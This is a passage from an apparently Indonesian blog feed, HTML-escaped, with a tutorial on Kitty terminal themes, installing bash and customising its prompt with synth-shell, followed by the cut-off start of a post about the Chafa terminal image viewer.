Konfigurasi Kitty lebih lanjut dapat dijumpai di dokumentasi resminya: &lt;a href=&quot;https://sw.kovidgoyal.net/kitty/&quot; target=&quot;_blank&quot;&gt;https://sw.kovidgoyal.net/kitty/&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Di baris paling bawah, saya meng-&lt;em&gt;input&lt;/em&gt;-kan konfigurasi warna atau tema &lt;strong&gt;Tokyo Night&lt;/strong&gt;. Nah, bagaimana caranya?&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Kitty Themes&lt;a href=&quot;#kitty-themes&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;Ketikkan perintah berikut di terminal:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;kitty&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+kitten&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;themes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Cari &lt;strong&gt;Tokyo Night&lt;/strong&gt;, atau tema apapun yang kalian inginkan.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tekan Enter dan pilih &lt;em&gt;&lt;strong&gt;“Place the theme file in /home/wildan/.config/kitty but do not modify kitty.conf”&lt;/strong&gt;&lt;/em&gt; dengan menekan P di keyboard.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Masukkan file konfigurasi tema tersebut ke dalam file konfigurasi kitty dengan perintah:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;nama-file-konfigurasi-tema.conf&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut rangkuman konfigurasi tema kitty:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Konfigurasi tema kitty&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;713&quot; src=&quot;/_astro/gif1.SRFWZVaR_Z2suEP.webp&quot; /&gt;&lt;figcaption&gt;Konfigurasi tema kitty&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Oke, sejauh ini kita sudah berhasil mengkonfigurasi Kitty.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Bash&lt;a href=&quot;#bash&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;BASH (&lt;em&gt;Born Again SHell&lt;/em&gt;) adalah salah satu &lt;em&gt;shell prompt&lt;/em&gt; yang populer dan melegenda. Disebut populer karena beberapa distro terkenal seperti Debian, Ubuntu, Arch, Fedora, dan banyak yang lainnya secara &lt;em&gt;default&lt;/em&gt; menggunakan bash sebagai &lt;em&gt;shell prompt&lt;/em&gt; di terminalnya. Sebetulnya, ada beberapa shell prompt lain yang juga dapat digunakan sebagai alternatif, misalnya seperti &lt;a href=&quot;https://wiki.archlinux.org/title/Command-line_shell&quot; target=&quot;_blank&quot;&gt;zsh, fish, dan kawan-kawannya&lt;/a&gt;.&lt;/p&gt;&lt;section&gt;&lt;h2&gt;Bash Installation&lt;a href=&quot;#bash-installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sebetulnya, karena saya menggunakan Debian, maka &lt;em&gt;shell prompt&lt;/em&gt; default yang saya gunakan adalah bash. Tapi, jika kalian tidak menggunakan bash dan ingin meng-&lt;em&gt;install&lt;/em&gt;-nya, maka perintahnya cukup mudah:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install bash&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy bash&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install bash&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install bash&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Cara untuk mengetahui &lt;em&gt;shell prompt&lt;/em&gt; yang sedang kita gunakan:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;echo&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$0&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;prompt shell check&quot; loading=&quot;lazy&quot; width=&quot;239&quot; height=&quot;219&quot; src=&quot;/_astro/ss2.C_E_x0yD_2wHkkP.webp&quot; /&gt;&lt;figcaption&gt;prompt shell check&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Bash Configuration&lt;a href=&quot;#bash-configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Installing synth-shell&lt;a href=&quot;#installing-synth-shell&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita akan melakukan konfigurasi bash shell agar tampak seperti pada tangkapan layar pertama artikel ini di atas tadi. Untuk itu, kita akan menggunakan sebuah script, &lt;a href=&quot;https://github.com/andresgongora/synth-shell&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;synth-shell&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;clone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--recursive&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://github.com/andresgongora/synth-shell.git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;synth-shell&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;./setup.sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Akan muncul beberapa pertanyaan, silakan sesuaikan dengan preferensi masing-masing. Berikut adalah preferensi saya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;install synth-shell&quot; loading=&quot;lazy&quot; width=&quot;737&quot; height=&quot;605&quot; src=&quot;/_astro/ss3.rVKzffSA_1R3Ubx.webp&quot; /&gt;&lt;figcaption&gt;install synth-shell&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Instalasi selesai.&lt;/p&gt;&lt;p&gt;Kalau diperhatikan di &lt;strong&gt;&lt;code&gt;.bashrc&lt;/code&gt;&lt;/strong&gt;, di bagian akhir file, ada tambahan config untuk memulai synth-shell:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;.bashrc setelah instalasi synth-shell&quot; loading=&quot;lazy&quot; width=&quot;911&quot; height=&quot;122&quot; src=&quot;/_astro/ss5.BxfG-6CM_soLbE.webp&quot; /&gt;&lt;figcaption&gt;.bashrc setelah instalasi synth-shell&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah perbandingan bash prompt sebelum &amp;amp; sesudah menggunakan synth-shell:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;perbandingan bash shell sebelum &amp;amp;#x26; sesudah instalasi synth-shell&quot; loading=&quot;lazy&quot; width=&quot;1574&quot; height=&quot;526&quot; src=&quot;/_astro/ss4.BSgPGavQ_1y6m70.webp&quot; /&gt;&lt;figcaption&gt;perbandingan bash shell sebelum &amp;amp; sesudah instalasi synth-shell&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Configuring synth-shell&lt;a href=&quot;#configuring-synth-shell&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Target konfigurasi synth-shell kali ini ada 2:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Mengganti warnanya menjadi ungu (baik warna status maupun warna &lt;em&gt;input command&lt;/em&gt;-nya)&lt;/li&gt;
&lt;li&gt;Membuat prompt-nya menjadi 2 baris; baris pertama untuk status dan baris kedua untuk &lt;em&gt;input command&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Adapun file konfigurasi yang akan kita ubah/sesuaikan adalah &lt;strong&gt;&lt;code&gt;~/.config/synth-shell/synth-shell-prompt.config&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Mengganti warna&lt;a href=&quot;#mengganti-warna&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk mengganti warna &lt;em&gt;background&lt;/em&gt; untuk &lt;strong&gt;username&lt;/strong&gt;, ubah nilai &lt;code&gt;background_user=&lt;/code&gt; di bagian USER menjadi &lt;strong&gt;56&lt;/strong&gt; seperti ini:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;synth-shell-prompt.config&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;##==============================================================================&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## USER&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;##==============================================================================&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;font_color_user&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;white&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;background_user&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;56&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;texteffect_user&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;bold&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk mengganti warna &lt;em&gt;background&lt;/em&gt; untuk &lt;strong&gt;hostname&lt;/strong&gt;, ubah nilai &lt;code&gt;background_host=&lt;/code&gt; di bagian HOST menjadi &lt;strong&gt;99&lt;/strong&gt; seperti ini:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;##==============================================================================&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## HOST&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;##==============================================================================&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;font_color_host&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;white&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;background_host&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;99&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;texteffect_host&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;bold&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk mengganti warna teks untuk &lt;em&gt;input&lt;/em&gt; &lt;em&gt;command&lt;/em&gt; kita, ubah nilai &lt;code&gt;font_color_input=&lt;/code&gt; di bagian INPUT menjadi &lt;strong&gt;69&lt;/strong&gt; seperti ini:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;##==============================================================================&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## INPUT (user typed command)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;##==============================================================================&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;font_color_input&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;69&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;background_input&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;none&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;texteffect_input&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;bold&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br /&gt;
Kode warna lainnya dapat dijumpai di website berikut: &lt;a href=&quot;https://www.ditig.com/publications/256-colors-cheat-sheet&quot; target=&quot;_blank&quot;&gt;https://www.ditig.com/publications/256-colors-cheat-sheet&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Membuat baris untuk input command&lt;a href=&quot;#membuat-baris-untuk-input-command&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sekarang, kita akan membuat baris baru untuk &lt;em&gt;input&lt;/em&gt; &lt;em&gt;command&lt;/em&gt;-nya. Caranya, kita ubah nilai &lt;code&gt;enable_command_on_new_line=&lt;/code&gt; di bagian MAIN FORMAT menjadi &lt;strong&gt;true&lt;/strong&gt; seperti ini:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;##==============================================================================&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## MAIN FORMAT&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;##==============================================================================&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;USER HOST PWD GIT PYENV TF KUBE&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;separator_char&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos;\uE0B0&apos;&lt;/span&gt;&lt;span&gt;           &lt;/span&gt;&lt;span&gt;# Separation character, &apos;\uE0B0&apos;=triangle&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;separator_padding_left&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos;&apos;&lt;/span&gt;&lt;span&gt;         &lt;/span&gt;&lt;span&gt;# Add char or string to the left of the separator&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;separator_padding_right&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos;&apos;&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;# Add char or string to the right of the separator&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;segment_padding&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos; &apos;&lt;/span&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;# Add char or string around segment text&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;enable_vertical_padding&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;# Add extra new line over prompt&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;enable_command_on_new_line&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;# Add new line between prompt and command&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;SELESAI !!!&lt;/p&gt;&lt;p&gt;Berikut adalah perbandingan synth-shell default dan synth-shell yang sudah kita konfigurasi:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;perbandingan synth-shell default &amp;amp;#x26; modified&quot; loading=&quot;lazy&quot; width=&quot;1583&quot; height=&quot;530&quot; src=&quot;/_astro/ss6.BkUN6jOB_Z1Ar1cL.webp&quot; /&gt;&lt;figcaption&gt;perbandingan synth-shell default &amp;amp; modified&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Yap, kita berhasil meng-&lt;em&gt;install&lt;/em&gt; kitty sebagai terminal emulator dan menggunakan synth-shell &lt;em&gt;script&lt;/em&gt; untuk mempercantik bash &lt;em&gt;shell prompt&lt;/em&gt;-nya.&lt;/p&gt;&lt;p&gt;Btw, saya menggunakan synth-shell karena terinspirasi dari salah satu video Youtube TechHut berikut:&lt;/p&gt;
&lt;p&gt;Sampai jumpa di artikel saya yang lain yaa..&lt;/p&gt;&lt;p&gt;Bye~&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;BTW, tema linux saya kali ini adalah &lt;strong&gt;“Debian Frieren~”&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Debian Frieren&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;4320&quot; src=&quot;/_astro/debian-frieren.B9T2MNfN_Z1cuG4L.webp&quot; /&gt;&lt;figcaption&gt;Debian Frieren&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://sw.kovidgoyal.net/kitty/overview/#design-philosophy&quot; target=&quot;_blank&quot;&gt;https://sw.kovidgoyal.net/kitty/overview/#design-philosophy&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Chafa: Character Art Facsimile Generator</title><link>https://shangdi.github.io/posts/tech/chafa/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/chafa/</guid><description>Chafa is a command-line utility that converts image data, including animated GIFs, into graphics formats or ANSI/Unicode character art suitable for display in a terminal.</description><pubDate>Wed, 28 Aug 2024 09:39:26 GMT</pubDate><content:encoded>&lt;p&gt;Sejak dahulu kala saya mencari program yang bisa menge-&lt;em&gt;print&lt;/em&gt; gambar di dalam terminal. Tapi, saya tak kunjung menemukannya hingga beberapa saat lalu, saya menjumpainya dari suatu video Youtube &lt;a href=&quot;https://www.youtube.com/@EricMurphyxyz&quot; target=&quot;_blank&quot;&gt;Eric Murphy&lt;/a&gt; yang berjudul &lt;strong&gt;“Ueberzug is dead. Now What? (Terminal image previews without Ueberzug)”&lt;/strong&gt;:&lt;/p&gt;


&lt;p&gt;Alasan saya mencari program yang bisa menampilkan gambar di dalam terminal adalah karena salah satu kriteria terminal yang bagus bagi saya adalah kemampuannya untuk me-&lt;em&gt;render&lt;/em&gt; gambar. Dulu, saya hanya kenal &lt;a href=&quot;https://github.com/seebye/ueberzug&quot; target=&quot;_blank&quot;&gt;ueberzug&lt;/a&gt;, sementara program tersebut (sependek pengetahuan saya) tidak bisa digunakan sebagai perintah di terminal. Jadi, hanya sebatas program “pasif” untuk menampilkan gambar di file manager berbasis CLI seperti &lt;a href=&quot;https://github.com/ranger/ranger&quot; target=&quot;_blank&quot;&gt;ranger&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Link repo official github Chafa:&lt;/p&gt;&lt;a href=&quot;https://github.com/hpjansson/chafa&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;hpjansson&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;chafa&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;Seperti yang tampil pada &lt;em&gt;summary&lt;/em&gt; artikel ini, &lt;mark&gt; chafa adalah program berbasis CLI untuk menampilkan data gambar (termasuk GIF! wow~) di dalam sebuah terminal. &lt;/mark&gt;&lt;/p&gt;
&lt;p&gt;Instalasinya cukup mudah, via official repo setiap distro:&lt;/p&gt;

























